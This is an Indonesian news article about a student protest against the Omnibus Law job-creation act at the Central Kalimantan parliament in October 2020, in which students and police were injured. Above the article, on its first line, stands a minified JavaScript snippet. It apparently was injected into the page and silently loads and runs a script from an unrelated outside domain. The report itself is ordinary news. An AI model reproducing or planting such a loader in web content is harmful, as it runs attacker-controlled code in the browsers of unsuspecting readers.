(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: PALANGKARAYA

Demo Omnibus Law di DPRD Kalteng Ricuh, Mahasiswa dan Polisi Terluka!

KANALKALIMANTAN.COM, PALANGKA RAYA – Aksi demo mahasiswa menentang UU Omnibus Law Cipta Kerja di gedung DPRD Kalteng, Kamis (8/10/2020) diwarnai ricuh. Mahasiswa dan polisi mengalami luka akibat memanasnya unjuk rasa.

Seorang mahasiswa dilaporkan mengalami luka dan sudah diobati. Pun demikian dengan dua anggota polisi yang mengalami luka bagian kepala dan tangan telah menerima penanganan medis dari personel kesehatan lapangan (Keslap).

Kapolresta Palangka Raya, Kombes Dwi Tunggal Jaladri mengatakan, kedua petugas tersebut merupakan personel Polresta Palangka Raya dan Direktorat Samapta (Ditsamapta) Polda Kalimantan Tengah.

Seorang personil Polresta Palangka Raya mengalami luka di bagian dahi, sedangkan seorang personel Ditsampata Polda Kalteng mengalami luka di bagian jari tangan. “Tetapi kondisi luka sudah berangsur membaik,” kata Kombes Dwi Tunggal.

polisi yang terluka saat amankan aksi. Foto: tri

Salah satu personil yang terluka, mengatakan, kejadian tersebut merupakan salah satu resiko yang harus terima saat menjaga kondisi keamanan.

Ketegangan disebabkan massa memaksa masuk ke dalam gedung dan berujung pada pelemparan benda-benda tumpul kepada barisan pasukan dalmas hingga pembakaran ban.

Namun kericuhan tersebut berhasil diredam melalui upaya negosiasi cukup alot. Bahkan Rektor Universitas Palangka Raya Andre Elia Embang, sampai datang ke lokasi, untuk menenangkan mahasiswa.

Setelah melalui negosiasi cukup lama, akhirnya mahasiswa bersedia membubarkan diri dan sepakat menyerahkan pernyataan sikap ke perwakilan staf DPRD Kalteng. Tetapi mereka memberikan waktu 2 x 24 jam bisa mendapatkan kepastian atas tuntutan mereka.

Tiga tuntutan aksi mereka adalah meminta anggota DPR-RI dapil Kalteng dan anggota DPRD Kalteng menolak UU Ciptaker. Kemudian meminta memberikan pernyataan sikap menolak dengan memberikan bukti penolakan berupa video. (kanalkalimantan.com/tri)

Repoter: Tri
Editor: Cell